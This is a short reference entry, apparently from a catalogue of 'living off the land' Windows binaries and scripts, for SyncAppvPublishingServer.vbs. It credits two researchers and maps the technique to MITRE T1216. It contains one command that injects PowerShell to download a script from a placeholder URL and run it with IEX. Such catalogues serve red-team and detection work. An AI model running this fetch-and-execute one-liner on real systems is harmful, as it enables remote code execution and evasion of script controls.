.. / Syncappvpublishingserver.vbs
Star

Script used related to app-v and publishing server


Paths:


Resources:
https://twitter.com/monoxgas/status/895045566090010624
https://twitter.com/subTee/status/855738126882316288

Acknowledgement:
Nick Landers - @monoxgas
Casey Smith - @subtee


Detection:



Execute

Inject PowerShell script code with the provided arguments
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
Usecase:Use Powershell host invoked from vbs script
Privileges required:User
OS:Windows 10
Mitre:T1216